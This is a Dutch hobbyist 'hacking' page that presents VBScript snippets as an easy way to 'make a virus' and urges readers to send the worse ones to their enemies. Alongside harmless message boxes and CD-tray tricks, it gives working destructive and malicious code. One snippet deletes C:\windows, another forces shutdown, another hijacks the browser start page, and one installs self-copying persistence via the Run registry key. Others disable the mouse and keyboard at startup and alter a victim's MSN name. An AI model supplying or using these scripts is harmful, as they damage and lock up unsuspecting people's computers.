Visual basic scripts

Met Visual Basic scripts is het heel makelijk om een virus te maken, hiermee is ooit ook het bekende ''I love you virus'' gemaakt.

1. Open kladblok
2. Stop er wat onderstaande scripts in
3. Sla het op als .vbs en dus niet als .vbs.txt maar .vbs!
4. En open het, of als hij te erg is stuur hem door naar je vijanden!

Uitleg is recht gedrukt, script is scheefgedrukt

Hieronder enkele scripts:

MEER VISUAL BASIC SCRIPTS? KLIK HIER

• Een Bericht maken:
  msgbox "Hej klootzak"
• Een Bericht maken met je eigen Titel
  X = msgbox ("Hej klootzak", 1024, "h4ck.nl zegt: ")
• Eeen andere input:
  strPtn = InputBox("SOM 2x4=...")
  If (strptn) = 8 Then: msgbox "Dat is het goede antwoord"
  do
  If (strPtn) <>8 Then: strPtn = InputBox("SOM 2x4=...")
  loop
  msgbox "test test"
• Een "Inputbox" maken
  a=inputbox("Wat is je naam?")
  msgbox "Tering wat een naam zeg," +a
• Site als startpagina
  Set shl = CreateObject("Wscript.shell") Shl.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.h4ck.nl"
• "System Beep"
  Set oWS = WScript.CreateObject("WScript.Shell")
  oWS.Run "%comspec% /c echo " & Chr(07), 0, True
• CD/DVD speler openen:
  Set oWMP = CreateObject("WMPlayer.OCX.7" )
  Set colCDROMs = oWMP.cdromCollection
  colCDROMs.Item(i).Eject
• Cdrom open en dicht:
  Dim oWMP
  Dim colCDROMs, i
  Set oWMP = CreateObject("WMPlayer.OCX.7")
  Set colCDROMs = oWMP.cdromCollection
  if colCDROMs.Count >= 1 then
  For i = 0 to colCDROMs.Count - 1
  colCDROMs.Item(i).Eject
  Next
  For i = 0 to colCDROMs.Count - 1
  colCDROMs.Item(i).Eject
  Next
  End If
  oWMP.close
  Set colCDROMs = Nothing
  Set oWMP = Nothing
• Een Folder verwijderen:
  ' delete
  Set fso = CreateObject("Scripting.FileSystemObject")
  Set aFolder = fso.GetFolder("C:\windows")
  aFolder.Delete
• Een Folder aanmaken:
  path = "C:\linux"
  set filesys=CreateObject("Scripting.FileSystemObject")
  If Not filesys.FolderExists(path) Then
  Set folder = filesys.CreateFolder(path)
  End If
• Een Folder/Bestand openen:
  Set WshShell = WScript.CreateObject ("WScript.Shell")
  WshShell.Run ("C:\Windows")
• Een Registerwaarde aanmaken/wijzigen:
  (deze zorgt voor het sneller openen van Menu's in Start)
  Set shl = CreateObject("Wscript.shell")
  Shl.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay", "55"
• Een programma openen:
  Set WshShell = WScript.CreateObject ("WScript.Shell")
  WshShell.Run ("notepad.exe")
• Tekst versturen naar willekeurige applicatie:
  WScript.Sleep 400
  WshShell.SendKeys " Je tekst "
  Windows Script laten slapen:
  WScript.Sleep 800
  ( een korte pauze, de waarde 800 kan je veranderen)
• Windows laten afsluiten:
  Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
  for each OpSys in OpSysSet
  OpSys.ShutDown()
  next
• Iets herhalen:
  do
  msgbox "Hallo!"
  loop
  msgbox"Tekstinhetscherm", optioneleschermsoortenknopsoorthier, "Titelscherm"
  Schermsoorten:
  vbCritical
  vbInformation
  vbExclamation
  e.a.
  Knopsoorten:
  vbOKOnly
  vbYesNo
  vbAbortIgnoreRetry
  e.a.
• Wordpad openen en text typen
  Set WshShell = WScript.CreateObject ("WScript.Shell")
  WshShell.Run ("notepad.exe")
  WScript.Sleep 100
  WshShell.SendKeys "tekst"
  om enter te doen moet je {enter} typen
• Naam van internet-explorer veranderen
  Set shl = CreateObject("Wscript.shell")
  Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Aangeboden door ArmeStakkers.nl"
• In opstart volgorde van windows zetten
  Set Shl = CreateObject("Wscript.Shell")
  Set fso = CreateObject("Scripting.FileSystemObject")
  winfolder = fso.GetSpecialFolder(0)
  Set vbsfile = fso.GetFile(WScript.ScriptFullName)
  vbsfile.Copy winfolder & "je filenaam"
  Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "je filenaam"
• Dit veranderd de pc naam
  Set shl = CreateObject("Wscript.shell")
  Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "h4ck"
• Muis uitschakelen
  Set shl = CreateObject("Wscript.shell")
  Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"
• Toetsenbord uitschakelen
  Set shl = CreateObject("Wscript.shell")
  Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable"
• Msn naam veranderen van slachtoffer
  Public WithEvents msn As MessengerAPI.Messenger
  Private Sub Form_Load()
  Set msn = New MessengerAPI.Messenger
  End Sub
  Private Sub Timer1_Timer()
  msn.OptionsPages 0, MOPT_GENERAL_PAGE
  Pause 0.5
  SendKeys " Hier plaats je je tekst"
  Pause 0.5
  SendKeys "{ENTER}"
  SendKeys "{ENTER}"
  Me.Show
  End Sub
  Sub Pause(interval)
  Current = Timer
  Do While Timer - Current < Val(interval)
  DoEvents
  Loop
  End Sub

MEER VISUAL BASIC SCRIPTS? KLIK HIER

***Fouten zijn er uitgehaalt en hij is geüpdate***

Hoe bestand opslaan?

Je hebt vast al wat leuks gemaakt in kladblok of wordpad: )

1. Ga naar het menu''bestand'' > kies ''opslaan als''
2. Dan vul je een naam in wat eindigt op .vbs (bijvoorbeeld pino.vbs)
3. Dan selecteer je daar onder bij ''opslaan als type'' > ''Alle bestanden'' en klik je op opslaan.